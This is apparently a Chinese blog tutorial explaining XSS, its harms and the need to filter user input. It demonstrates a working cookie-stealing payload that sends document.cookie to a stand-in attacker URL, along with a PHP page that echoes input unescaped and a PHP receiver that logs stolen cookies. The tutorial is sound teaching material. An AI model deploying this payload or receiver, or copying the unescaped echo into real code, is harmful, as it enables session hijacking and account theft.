XSS定义
XSS是一种比较容易出现的安全漏洞,也是web比较常见的web攻击方式。
XSS是指攻击者利用网络没有对提交的数据进行安全过滤的缺点,添加一些恶意代码进去,嵌入到web页面中。当用户访问web页面时,其中的恶意代码就被执行了。
危害:
1、盗取用户账号
2、控制企业数据,达到篡改数据的能力
3、非法转账
4、强制发送电子邮件
解决方法
对用户输入的数据进行安全过滤,我们绝不可以相信用户提交的数据。
这里演示了个盗取cookie的一个简单例子:
以下是这个代码的目录结构:
比如我们访问某一个网页 www.web.com/xss.html
而某个黑客的网站是http://m.web.com/receive_cookie.php时
xss.html
<!DOCTYPE html>
<html>
<head>
<title>xss攻击</title>
<meta charset="utf-8">
</head>
<body>
<form action="normal.php" method="post">
内容:<input type="text" name="content" value=""><br/>
<input type="submit" name="" value='提交'>
</form>
<br/>内容:<br/>
</body>
</html>
当我们向其中输入xss_js.txt中代码时
xss_js.txt
<script>
var Str=document.cookie;
var a =document.createElement('a');
a.href='http://m.web.com/receive_cookie.php?'+Str;
a.innerHTML="<img src='aa.jpg'>";
document.body.appendChild(a);
</script>
normal.php进行输入内容的输出,这里只是为了演示效果,真正的网站中,这段恶意代码一般是被保存到了数据库中
normal.php
<?php
setcookie('name','yilian');
var_dump($_COOKIE);
echo $_POST['content'];
?>
这样每次读取的时候,就类似如下,页面
image.png
当用户不小心点击了这张图片时,就等于访问这个url http://m.web.com/receive_cookie.php?name=yilian
这样就把我们的cookie发送到了黑客的站点中,把cookie保存到cookie_log.txt文件中了
receive_cookie.php
<?php
header("content-type:text/html;charset=utf8");
file_put_contents('./cookie_log.txt', json_encode($_GET));
?>
所以我们开发一个web应用的时候,一定要对用户输入的参数进行校验,过滤,防止这种恶意代码的执行。
网友评论